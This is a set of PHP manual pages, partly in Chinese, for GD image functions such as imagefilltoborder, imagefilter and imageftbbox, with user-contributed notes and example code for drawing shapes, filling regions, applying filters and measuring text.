Rectangle starts at x1y1 and ends at x2y2. $radius defines radius of circled corner.

<?

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color) {
// draw rectangle without corners
imagefilledrectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
imagefilledrectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
// draw circled corners
imagefilledellipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
sdonie at lgc dot com
28-May-2004 01:19
I made some simple additions to the 'ratings bar' example above to allow for different sizes. It also doesn't assume that global GET variables is turned on, and explicitly looks for parameters it needs.

----
<?php

// copied from the PHP manual:
// http://us3.php.net/manual/en/function.imagefilledrectangle.php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="makebar.php?rating=25.2&width=200&height=20" border="0">
// rating is a percentage from 0 to 100.

function drawRating($rating) {
   $width = $_GET['width'];
   $height = $_GET['height'];
   if ($width == 0) {
     $width = 102;
   }
   if ($height == 0) {
     $height = 10;
   }

   $rating = $_GET['rating'];
   $ratingbar = (($rating/100)*$width)-2;

   $image = imagecreate($width,$height);
   //colors
   $back = ImageColorAllocate($image,255,255,255);
   $border = ImageColorAllocate($image,0,0,0);
   $red = ImageColorAllocate($image,255,60,75);
   $fill = ImageColorAllocate($image,44,81,150);

   ImageFilledRectangle($image,0,0,$width-1,$height-1,$back);
   ImageFilledRectangle($image,1,1,$ratingbar,$height-1,$fill);
   ImageRectangle($image,0,0,$width-1,$height-1,$border);
   imagePNG($image);
   imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
booga
18-Jan-2004 09:48
a simple way of using imagerectangle to create a percentage bar

<?php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="ratingpng.php?rating=25.2" border="0">

function drawRating($rating) {
   $image = imagecreate(102,10);
   $back = ImageColorAllocate($image,255,255,255);
   $border = ImageColorAllocate($image,0,0,0);
   $red = ImageColorAllocate($image,255,60,75);
   $fill = ImageColorAllocate($image,44,81,150);
   ImageFilledRectangle($image,0,0,101,9,$back);
   ImageFilledRectangle($image,1,1,$rating,9,$fill);
   ImageRectangle($image,0,0,101,9,$border);
   imagePNG($image);
   imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
ivank at 2xtreme dot net
31-Mar-2002 08:34
As stated above, it needs to go from the top left corner to the bottom right corner. Just use this to flip it if neccessary:

// flip them if neccessary (x3, y3 are temp vars)
if($x1 > $x2) { $x3 = $x2; $x2 = $x1; $x1 = $x3; }
if($y1 > $y2) { $y3 = $y2; $y2 = $y1; $y1 = $y3; }
ImageFilledRectangle($im, $x1, $y1, $x2, $y2, $color);
saramg at uclink dot berkeley dot edu
30-Nov-2001 11:42
Important quirk to note:

While imagerectangle will allow you to use a different order of your coordinates (such as bottom-left to upper-right), imagefilledrectangle will only work correctly if you use top-left to bottom-right as indicated in the docs.
add a note add a note

后退 | 起点 | 前进
imagefilledpolygon | 上一级 | imagefilltoborder


imagefilltoborder

(PHP 3, PHP 4, PHP 5)

imagefilltoborder -- 区域填充到指定颜色的边界为止

说明

bool imagefilltoborder ( resource image, int x, int y, int border, int color )

imagefilltoborder() 从 x，y（图像左上角为 0, 0）点开始用 color 颜色执行区域填充，直到碰到颜色为 border 的边界为止。【注：边界内的所有颜色都会被填充。如果指定的边界色和该点颜色相同，则没有填充。如果图像中没有该边界色，则整幅图像都会被填充。】

add a note add a note User Contributed Notes
php at corzoogle dot com
27-Jun-2005 03:08
pritm (.a.t.) mail (.d.0.t.) ru, your jpg black areas aren't entirely black, look *real* closely at it! so the fill will "seep through". the solution is simple, use a lossless background image format. replace this line..

<?
$im = imagecreatefrompng ('map-back.png');
?>

try it with this version of your image..

http://corz.org/public/images/demo/map-back.png
(the colours may be slightly different, just a quick conversion in my regular image viewer)

as you can see, it works perfectly..
http://corz.org/public/images/demo/filled.jpg

;o)
(or
Henrik Nyh
24-Jun-2005 04:26
Reply to pritm (.a.t.) mail (.d.0.t.) ru below.

I had a similar problem and solved it thus:

I had to reduce the number of colors on the image I was using. It appeared to be a black and white map, but contained about 50 shades of almost black and almost white. I reduced this to two colors only (also going from JPG to GIF) so that the borders as well as the areas to be filled each were of a consistent shade.

Additionally, it did not work when I specified border colors as black (0,0,0), even though they seem to be of this exact shade in the map file. Instead, I used ImageColorAt() to pick the border color, and now everything seems to work.

Image: http://henrik.nyh.se/dump/map/europe.gif
In action: http://henrik.nyh.se/dump/map/map.html

Source:

<?php

$map = "europe.gif";

$img = ImageCreateFromGIF($map);

// Colors
$border = ImageColorAt ($img, 416, 111);  // Get color of borders - apparently (0,0,0) won't work
$red = ImageColorAllocate($img, 255, 0, 0);
$green = ImageColorAllocate($img, 0, 255, 0);

// Fill
ImageFillToBorder($img, 440, 100, $border, $red);  // Sweden
ImageFillToBorder($img, 250, 290, $border, $green);  // Great Britain

// Output image as PNG
header("Content-type: image/png");
ImagePNG($img);
ImageDestroy($img);  // Free memoryu

?>
pritm (.a.t.) mail (.d.0.t.) ru
22-May-2005 04:53
Has found a problem from which I can not consult. Please help.

For example a code such:

$im = imagecreatefromjpeg ('map-back.jpg');
$marker = ImageColorAllocate ($im, 0, 0, 160);

// Colors [black] and [col] are identical.
// Of what it is possible to be convinced having changed these values
$black = ImageColorAllocate ($im, 0, 0, 0);
$col = ImageColorAt ($im, 49, 297);

// The rectangular is well led round during processing
ImageRectangle ($im, 20, 20, 50, 50, $col);
// For check of taken color (should be black)
imageLine ($im, 25,25,45,45, $col);

//Fill
ImageFillToBorder ($im, 160,300, $col, $marker);

// A conclusion
imagejpeg ($im, '', 100);
ImageDestroy ($im);

In result all is filled in jpg (except for a rectangular and parts of border) though the point fill undertook inside a figure with black border. And the normal result should be only a filled figure.

Look as:
Primary picture
http://nugna.info/map-back.jpg

As a result of performance of a script:
http://nugna.info/is-now.jpg

It is necessary to receive:
http://nugna.info/need.jpg

How it to achieve?
pritm (.a.t.) mail (.d.0.t.) ru
22-May-2005 04:49
Has found a problem from which I can not consult. Please help.

For example a code such:

$im = imagecreatefromjpeg ('map-back.jpg');
$marker = ImageColorAllocate ($im, 0, 0, 160);

// Colors [black] and [col] are identical.
// Of what it is possible to be convinced having changed these values
$black = ImageColorAllocate ($im, 0, 0, 0);
$col = ImageColorAt ($im, 49, 297);

// The rectangular is well led round during processing
ImageRectangle ($im, 20, 20, 50, 50, $col);
// For check of taken color (should be black)
imageLine ($im, 25,25,45,45, $col);

//Fill
ImageFillToBorder ($im, 160,300, $col, $marker);

// A conclusion
imagejpeg ($im, '', 100);
ImageDestroy ($im);

In result all is filled in jpg (except for a rectangular and parts of border) though the point fill undertook inside a figure with black border. And the normal result should be only a filled figure.

Look as:
Primary picture
http://nugna.info/map-back.jpg

As a result of performance of a script:
http://nugna.info/is-now.jpg

It is necessary to receive:
http://nugna.info/need.jpg

How it to achieve?
sbuchanan at datadiver dot net
11-May-2005 06:08
edrad's pseudo-sphere is pretty nice, but a few tweeks really improve it.  (writing out the image header so a browser actually understands it and calling imagedestroy() so we clean up memory are nice things to do, too).  Try drawing it at twice the size and then resampling it down.  Takes more CPU, but it forces antialiasing, creating a smooth arc.  Also, render it at diameter = (width - 1) * 2.  Taking one pixel off the outside keeps it off the image edge, eliminating those ugly flat spots.  Render it on white first so you can really see the edge, then switch back to the cool grey...

Oh, and use imagecreatetruecolor instead of imagecreate if you have it available.

I agree that imageellipse is easier, though.  Actually, I generate rounded corners with drop-shadows for CSS with imagefilledarc (kind of a blend of the two)  Use imagefilledellipse if drawing the whole thing, use imagefilledarc if only drawing part of it (like a corner).  If you use the 'filled' functions you can skip imagefilltoborder altogether :P

Anyway, try this for a smoother image:

<?php

  $requested_width = 300;
  $render_width = ($requested_width * 2) - 1; // -1 to back away from edge, removing flat spot
  $center = $render_width / 2;
  $colordivs = 255 / $center;
  $im_scratch = @imagecreate($render_width, $render_width);

  //$back_color = imagecolorallocate($im_scratch, 20, 30, 40);  // try it with white so you can really see the edge first..
  $back_color = imagecolorallocate($im_scratch, 255, 255, 255);

  imagefill($im_scratch, 0, 0, $back_color);

  for ($i = 0; $i <= $center; $i++) {
   $diametre = $render_width - 2 * $i;
   $el_color = imagecolorallocate($im_scratch, $i * $colordivs, 0, 0);
   imageellipse($im_scratch, $center, $center, $diametre, $diametre, $el_color);
   imagefilltoborder($im_scratch, $center, $center, $el_color, $el_color);
  }

  // resample down, causes antialiasing, nice smooth curve!
  $im = @imagecreatetruecolor($requested_width, $requested_width);
  imagecopyresampled($im, $im_scratch, 0, 0, 0, 0, $requested_width, $requested_width, $render_width, $render_width);

  header ("Content-type: image/png");
  imagepng($im);
  ImageDestroy($im);
  ImageDestroy($im_scratch);

?>
admin at worldlanguages dot tk
11-Sep-2004 05:54
In the example below, for those with newer GD versions, it makes more sense to replace:

imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);

with:

imageellipse($im, $center, $center, $diametre, $diametre, $el_color);

This is obviously simpler.
edrad at wanadoo dot fr
11-Jun-2003 08:02
Very useful to build a pseudo-sphere with a color gradient...

<?php
 $width = 300;
 $center = $width / 2;
 $colordivs = 255 / $center;
 $im = @imagecreate($width, $width);
 $back_color = imagecolorallocate($im, 20, 30, 40);
 imagefill($im, 0, 0, $back_color);
 for ($i = 0; $i <= $center; $i++)
 {
     $diametre = $width - 2 * $i;
   $el_color = imagecolorallocate($im, $i * $colordivs, 0, 0);
   imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);
   imagefilltoborder($im, $center, $center, $el_color, $el_color);
 }
 imagepng($im);
?>

Dark Skull Software
http://www.darkskull.net
ecofarm at mullum dot com dot au
26-Jan-2001 02:18
Great for getting that rounded button look we see a lot of at php.net ... try this sample. (remember to change png to whatever image format your version of php supports)

<?php

   Header ("Content-type: image/png");

     ///// create canvas  /////

   $im = ImageCreate (80, 25);

  //define colors.. first color declared is set as background

   $blue  = ImageColorAllocate ($im, 0, 0, 255);
   $white  = ImageColorAllocate ($im, 255, 255, 255);

     // draw semi-circle arcs at each end

   ImageArc($im, 12, 12, 23, 26, 90, 270, $white);
   ImageArc($im, 67, 12, 23, 26, 270, 90, $white);

     // fill ends outside arcs with color

   ImageFillToBorder ($im, 0, 0, $white, $white);
   ImageFillToBorder ($im, 79, 0, $white, $white);

     // create the image

   ImagePng ($im);

     // destroy the image to free memory

   ImageDestroy ($im);
?>
add a note add a note

后退 | 起点 | 前进
imagefilledrectangle | 上一级 | imagefilter


imagefilter

(PHP 5)

imagefilter -- 对图像使用过滤器

说明

bool imagefilter ( resource src_im, int filtertype [, int arg1 [, int arg2 [, int arg3]]] )

imagefilter() 把过滤器 filtertype 应用到图像上，在需要时使用 arg1，arg2 和 arg3。

filtertype 可以是下列中的一个：

  • IMG_FILTER_NEGATE：将图像中所有颜色反转。

  • IMG_FILTER_GRAYSCALE：将图像转换为灰度的。

  • IMG_FILTER_BRIGHTNESS：改变图像的亮度。用 arg1 设定亮度级别。

  • IMG_FILTER_CONTRAST：改变图像的对比度。用 arg1 设定对比度级别。

  • IMG_FILTER_COLORIZE：与 IMG_FILTER_GRAYSCALE 类似，不过可以指定颜色。用 arg1，arg2 和 arg3 分别指定 red，blue 和 green。每种颜色范围是 0 到 255。

  • IMG_FILTER_EDGEDETECT：用边缘检测来突出图像的边缘。

  • IMG_FILTER_EMBOSS：使图像浮雕化。

  • IMG_FILTER_GAUSSIAN_BLUR：用高斯算法模糊图像。

  • IMG_FILTER_SELECTIVE_BLUR：模糊图像。

  • IMG_FILTER_MEAN_REMOVAL：用平均移除法来达到轮廓效果。

  • IMG_FILTER_SMOOTH：使图像更柔滑。用 arg1 设定柔滑级别。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. imagefilter() 灰度例子

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
    echo 'Image converted to grayscale.';
    imagepng($im, 'dave.png');
} else {
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

例子 2. imagefilter() 亮度例子

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
    echo 'Image brightness changed.';
    imagepng($im, 'sean.png');
} else {
    echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

例子 3. imagefilter() 上彩例子

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
    echo 'Image successfully shaded green.';
    imagepng($im, 'philip.png');
} else {
    echo 'Green shading failed.';
}

imagedestroy($im);
?>

add a note add a note User Contributed Notes
santibari at fibertel dot com
28-Feb-2006 03:37
A colorize algorithm wich preserves color luminosity (i.e black
will output black, and white will output white).
This works in PHP4 and is great for customizing interfaces
dinamically.

<?php
function colorize($img_src,$img_dest, $r, $g, $b)
{
if(!$im = imagecreatefromgif($img_src))
  return "Could not use image $img_src";

//We will create a monochromatic palette based on
//the input color
//which will go from black to white
//Input color luminosity: this is equivalent to the
//position of the input color in the monochromatic
//palette
$lum_inp=round(255*($r+$g+$b)/765); //765=255*3

//We fill the palette entry with the input color at its
//corresponding position

$pal[$lum_inp]['r']=$r;
$pal[$lum_inp]['g']=$g;
$pal[$lum_inp]['b']=$b;

//Now we complete the palette, first we'll do it to
//the black,and then to the white.

//FROM input to black
//===================
//how many colors between black and input
$steps_to_black=$lum_inp;

//The step size for each component
if($steps_to_black)
 {
 $step_size_red=$r/$steps_to_black;
 $step_size_green=$g/$steps_to_black;
 $step_size_blue=$b/$steps_to_black;
 }

for($i=$steps_to_black;$i>=0;$i--)
 {
 $pal[$steps_to_black-$i]['r']=$r-round($step_size_red*$i);
 $pal[$steps_to_black-$i]['g']=$g-round($step_size_green*$i);
 $pal[$steps_to_black-$i]['b']=$b-round($step_size_blue*$i);
 }

//From input to white:
//===================
//how many colors between input and white
$steps_to_white=255-$lum_inp;

if($steps_to_white)
  {
  $step_size_red=(255-$r)/$steps_to_white;
  $step_size_green=(255-$g)/$steps_to_white;
  $step_size_blue=(255-$b)/$steps_to_white;
  }
 else
  $step_size_red=$step_size_green=$step_size_blue=0;

 //The step size for each component
 for($i=($lum_inp+1);$i<=255;$i++)
  {
  $pal[$i]['r']=$r + round($step_size_red*($i-$lum_inp));
  $pal[$i]['g']=$g + round($step_size_green*($i-$lum_inp));
  $pal[$i]['b']=$b + round($step_size_blue*($i-$lum_inp));
  }
//--- End of palette creation

//Now,let's change the original palette into the one we
//created
for($c = 0; $c < $palette_size; $c++)
 {
 $col = imagecolorsforindex($im, $c);
 $lum_src=round(255*($col['red']+$col['green']
               +$col['blue'])/765);
 $col_out=$pal[$lum_src];
 imagecolorset($im, $c, $col_out['r'],
                               $col_out['g'],
                               $col_out['b']);
 }

 //save the image file
 imagepng($im,$img_dest);
 imagedestroy($im);
}//end function colorize
?>
webmaster at qudi dot de
31-Jan-2006 10:53
for a quick, ok-looking, sepia-effect (also in php4) I just use this little fellow, since a real implementation of sepia was just way too slow.

function pseudosepia(&$im,$percent){
     $sx=imagesx($im);
     $sy=imagesy($im);
     $filter=imagecreatetruecolor($sx,$sy);
     $c=imagecolorallocate($filter,100,50,50);
     imagefilledrectangle($filter,0,0,$sx,$sy,$c);
     imagecopymerge($im,$filter,0,0,0,0,$sx,$sy,$percent);
}
a php user at nowhere dot com
21-Dec-2005 04:48
http://www.hudzilla.org/phpbook/read.php/11_2_15
for more detailed info, and some <i>arg</i> guidelines.
vdepizzol at hotmail dot com
05-Sep-2004 04:36
Examples using imagefilter():

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
   echo 'Image converted to grayscale.';
   imagepng($im, 'dave.png');
} else {
   echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
   echo 'Image brightness changed.';
   imagepng($im, 'sean.png');
} else {
   echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
   echo 'Image successfully shaded green.';
   imagepng($im, 'philip.png');
} else {
   echo 'Green shading failed.';
}

imagedestroy($im);
?>
kees at tweakers dot net
21-Jul-2004 09:26
From what i have been able to find from this function, it accepts the following arguments:
       IMG_FILTER_NEGATE
       IMG_FILTER_GRAYSCALE
       IMG_FILTER_EDGEDETECT
       IMG_FILTER_GAUSSIAN_BLUR
       IMG_FILTER_SELECTIVE_BLUR
       IMG_FILTER_EMBOSS
       IMG_FILTER_MEAN_REMOVAL

The following arguments need one or more arguments.
       IMG_FILTER_SMOOTH, -1924.124
       IMG_FILTER_COLORIZE, -127.12, -127.98, 127
       IMG_FILTER_CONTRAST, -90
       IMG_FILTER_BRIGHTNESS, 98

I haven't tested them all, the names speak for themselves.
add a note add a note

后退 | 起点 | 前进
imagefilltoborder | 上一级 | imagefontheight


imagefontheight

(PHP 3, PHP 4, PHP 5)

imagefontheight -- 取得字体高度

说明

int imagefontheight ( int font )

返回指定字体一个字符高度的像素值。

参见 imagefontwidth() 和 imageloadfont()。

add a note add a note User Contributed Notes
dev at numist dot net
25-Jan-2005 07:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
     if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
     }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                             $height + ( 2 * $text_height ) );
   if($im) {
     // image creation success
     $text_color = imagecolorallocate($im, 233, 14, 91);
     // this loop outputs the error message to the image
     for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
     }
     // now, render your image using your favorite image* function
     // (imagejpeg, for instance)
     out($im, array(), $error);
   } else {
     // image creation failed, so just dump the array along with extra error
     $error[] = "Is GD Installed?";
     die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.
add a note add a note

后退 | 起点 | 前进
imagefilter | 上一级 | imagefontwidth


imagefontwidth

(PHP 3, PHP 4, PHP 5)

imagefontwidth -- 取得字体宽度

说明

int imagefontwidth ( int font )

返回指定字体一个字符宽度的像素值。

参见 imagefontheight() 和 imageloadfont()。

add a note add a note User Contributed Notes
puremango dot co dot uk at gmail dot com
31-Aug-2005 04:26
a function that is faster than ImageFontWidth for certain uses:

<?
function ImageFontWidthByFilename($filename)
{
   $handle = @fopen($font_locations[$i],"r");
   $c_wid = @fread($handle,11);
   @fclose($handle);
   return(ord($c_wid{8})+ord($c_wid{9})+ord($c_wid{10})+ord($c_wid{11}));
}

echo "./font.gdf is ".ImageFontWidthByFilename("./font.gdf")." pixels wide";

?>

reading the widths of 5 different fonts, 500 times, ImageFontWidth took an average of ~0.004 seconds per 5 reads, my function takes ~0.0003 per 5.

The reason is that ImageFontWidth requires a call to ImageLoadFont, but if for some reason you won't need to load the font, just find out the width, this is the function for you :-)

more such wonders at http://puremango.co.uk
dev at numist dot net
25-Jan-2005 07:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
     if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
     }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                             $height + ( 2 * $text_height ) );
   if($im) {
     // image creation success
     $text_color = imagecolorallocate($im, 233, 14, 91);
     // this loop outputs the error message to the image
     for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
     }
     // now, render your image using your favorite image* function
     // (imagejpeg, for instance)
     out($im, array(), $error);
   } else {
     // image creation failed, so just dump the array along with extra error
     $error[] = "Is GD Installed?";
     die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.
add a note add a note

后退 | 起点 | 前进
imagefontheight | 上一级 | imageftbbox


imageftbbox

(PHP 4 >= 4.1.0, PHP 5)

imageftbbox -- 给出一个使用 FreeType 2 字体的文本框

说明

array imageftbbox ( float size, float angle, string font_file, string text [, array extrainfo] )

警告

本函数暂无文档，仅有参数列表。

注: 本函数需要 GD 2.0.1 或更高版本。

注: extrainfo 参数自 PHP 4.3.5 起成为可选项。

add a note add a note User Contributed Notes
theo v e -2
28-Dec-2005 11:10
ah... the problem between imageftbbox() and imagefttext() lies in the mirroring of the y-axes.
Below you see, for a font-size 16 the boudingboxes of "b", "p" and "bp":
< b: w=9 h=15
b(0,-1)
b(9,-1)
b(9,-16)
b(0,-16)
< p: w=9 h=16
p(0,4)
p(9,4)
p(9,-12)
p(0,-12)
< bp: w=20 h=20
bp(0,4)
bp(20,4)
bp(20,-16)
bp(0,-16)
If drawing "bp" using imagefttext() at y=0, the the top of "bp" indeed is at y=-16, and the bottom of "bp" at y=4. (Plus or minus a pixel here and there, because at y=0 there actually is a vissible pixel.)
theo v e
28-Dec-2005 10:20
IF we accept the idea that a bouding box is returned then:
   $bbox= imageftbbox ( $size, $angle, $font, $txt);
   $width = abs($bbox[4] - $bbox[0]);
   $height = abs($bbox[1] - $bbox[5]);
may be a better kind of math. But it depends... You may want to subtract yet another '1' from both the width and the height.
But try drawing a "p" and next try a "d". Their bounding boxes differ 1 px in height. Of course the respective boxes, by  imagefttext(), are placed at a different y coordinate. I noticed that if a "p" or a "b" is drawn at (0, 30) the first character of the string actually starts on, fills, the third horizontal pixel. Also: if your image is only 30 pixels in heigth, drawing text at (0, 30) means that the bottoms parts of "p", "q", "y" and alike are somewhere else...
fernando
15-Jul-2005 04:20
imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 lower left corner, X position
1 lower left corner, Y position
2 lower right corner, X position
3 lower right corner, Y position
4 upper right corner, X position
5 upper right corner, Y position
6 upper left corner, X position
7 upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.
groomed at users dot sf dot net
28-May-2004 03:38
ImageFTBBox returns a bounding box, not metrics, as some (most?) of the notes above seem to assume. The 8 values it returns specify the 4 corners of this bounding box. So to properly determine the width and height of a string you need to do:

$bbox = ImageFTBBox(...);
$width = abs($bbox[0]) + abs($bbox[2]); // distance from left to right
$height = abs($bbox[1]) + abs($bbox[5]); // distance from top to bottom
sectionthirty1 at yahoo dot com
22-Apr-2004 05:50
Here is a handy example I used to center "dynamic text" onto an image.

Ex. Say you want to center a clients IP Address onto a picture.

$ip=$_SERVER['REMOTE_ADDR'];

$details = imageftbbox($fontsize, 0, $font, $ip, array("linespacing" => 1));

$xcoord = ($imgwidth - $details[4]) / 2;  // this will return the x coordinate centered to your specific image.  Make sure  you set $imgwidth to the width of the image you are using.

imagettftext($image, $fontsize, 0, $xcoord, $ycoord, $fontcolor, $font, $ip);
Brian at PrintsMadeEasy dot com
07-Mar-2003 11:54
I noticed that PHP's True Type functions do not allow you to create text blocks with multiple lines that automatically adjust for alignment.  I wrote a function that will allow you to generate images with multiple lines, control the alignment, and handle rotation.  I hope it helps someone.

There was too much code to paste on this message post so you can grab it off of my webserver.  I also created an example page so that you can see the code in action.

Example Page:
http://www.PrintsMadeEasy.com/code_samples/php/text_generation.php

Download the Text file:
http://www.PrintsMadeEasy.com /code_samples/php/text_generation.txt
ta at NOSPAM dot magicsquare dot info
07-Sep-2002 12:37
i've found a work around for this situation

it seems that height is directly proportional to line spacing so you just have to apply the same factor to image height

for example :

$spacing = 0.7;
$params = array("linespacing" => $spacing);

$box = imageftbbox ($size, 0, $font, $text, $params);
$tw=$box[4]-$box[0]; //image width
$th=($box[1]-$box[5])*$spacing; //image height
phpimageftbbox at juggernaut dot com dot au
15-May-2002 12:56
This function can be used to generate right-aligned text. Just work out how wide the text image is and position it accordingly. Example:

$i_width  = 200;
$i_height = 40;

$string = "Hello World!";
$pointsize = 10;
$fontfile = "/usr/local/lib/ttf/Helve.ttf";

$im = imagecreate($i_width, $i_height);
$black = imagecolorallocate ($im, 0, 0, 0);
$white = imagecolorallocate ($im, 255, 255, 255);

$string_size = ImageFtBbox($pointsize, 0, $fontfile, $string, array("linespacing" => 1));
$s_width  = $string_size[4];
$s_height = $string_size[5];

ImageFtText($im, $pointsize, 0, $i_width - $s_width - 1,  0 - $s_height, $white, $fontfile, $string, array("linespacing" => 1));

Header ("Content-type: image/png");
ImagePNG ($im);
ImageDestroy ($im);
add a note add a note

后退 | 起点 | 前进
imagefontwidth | 上一级 | imagefttext


imagefttext

(PHP 4 >= 4.1.0, PHP 5)

imagefttext -- 使用 FreeType 2 字体将文本写入图像

说明

array imagefttext ( resource image, float size, float angle, int x, int y, int col, string font_file, string text [, array extrainfo] )

警告

本函数暂无文档，仅有参数列表。

注: 本函数需要 GD 2.0.1 或更高版本。

注: extrainfo 参数自 PHP 4.3.5 起成为可选项。

add a note add a note User Contributed Notes
20-Feb-2006 06:19
I am using php 5.1.2 on a winxp machine. I was  getting into the TrueType fonts and wanted to see which ones would look best incorporated into web images. So I created the following script that prints out samples of all the TrueType fonts found in my C:\Windows\Fonts directory. The script takes only one request parameter - 'fsize'. It stands for font-size and lets you see each font in any size you wish -- I limited it to values between 5 and 48. Hope this helps someone other than me :)

I apologize in advance if any of my code is not the prettiest-written php code even seen -- I have only been coding in php for the past week (I'm a perl-guy usually).

<?php
   list($x, $y, $maxwidth) = array(0, 0, 0);

   $fsize = (int)$_REQUEST['fsize'];
   if ($fsize < 5 or $fsize > 48) $fsize = 8;

   header("Content-type: image/jpeg");

   // don't know how wide or tall the font samples will be.
   // create a huge image for now, we'll copy it smaller
   // later when we know how large the image needs to be.
   $im = imagecreate(1000, 20000) or die('could not create!');
   $clr_white = imagecolorallocate($im, 255, 255, 255);
   $clr_black = imagecolorallocate($im, 0, 0, 0);

   $font_path = "C:/Windows/Fonts/";
   $dh = opendir($font_path);
   while (($file = readdir($dh)) !== FALSE) {
       // we're only dealing with TTY fonts here.
       if (substr(strtolower($file), -4) != '.ttf') continue;

       $str = "Sample text for '$file'";
       $bbox = imagettfbbox(
           $fsize, 0, "{$font_path}{$file}", $str
       );
       $ww = $bbox[4] - $bbox[6];
       $hh = $bbox[1] - $bbox[7];

       imagettftext(
           $im, $fsize, 0, $x, $y,
           $clr_black, "{$font_path}{$file}", $str
       );

       $y += $hh + 20;
       if ($ww > $maxwidth) $maxwidth = $ww;
   }

   closedir($dh);

   // ok, now we can chop off the extra space from the
   // 1000 x 20000 image.
   $im2 = imagecreate($maxwidth + 20, $y);
   imagecopyresized(
       $im2, $im, 0, 0, 0, 0, $maxwidth + 20,
       $y, $maxwidth + 20, $y
   );
   imagejpeg($im2);
   imagedestroy($im);
   imagedestroy($im2);
?>
vsazel at atlas dot cz
24-Nov-2005 01:16
If you want to get the best result in monochrome font rendering, change render_mode to FT_LOAD_RENDER. It's the last parameter of FT_Load_Glyph() function (in gdft.c).
dnf at seznam dot cz
23-Jun-2005 05:25
For negative image you must add one line after the $grayColor computation:

$grayColor =  ~ $grayColor & 0x7FFFFFF;
aidan at php dot net
29-May-2005 06:11
This function is very simular to imageffttext(), you may find the information provided on its manual page helpful:

http://php.net/imagettftext
MagicalTux at FF dot st
27-Jan-2005 06:20
When compiling PHP with FreeType 2 support, you'll probably have some problems if - for example - you use debian and didn't compile freetype2 yourself...
If configure fails after saying "If configure fails, try --with-xpm-dir..." you most likely have FreeType1 installed, but not freetype2 ...

Do this as root :
apt-get install libfreetype6-dev

It took me some time to find out that apt-get install freetype2 is actually installing freetype1 ...
kagaku at gmail dot com
08-Dec-2004 12:27
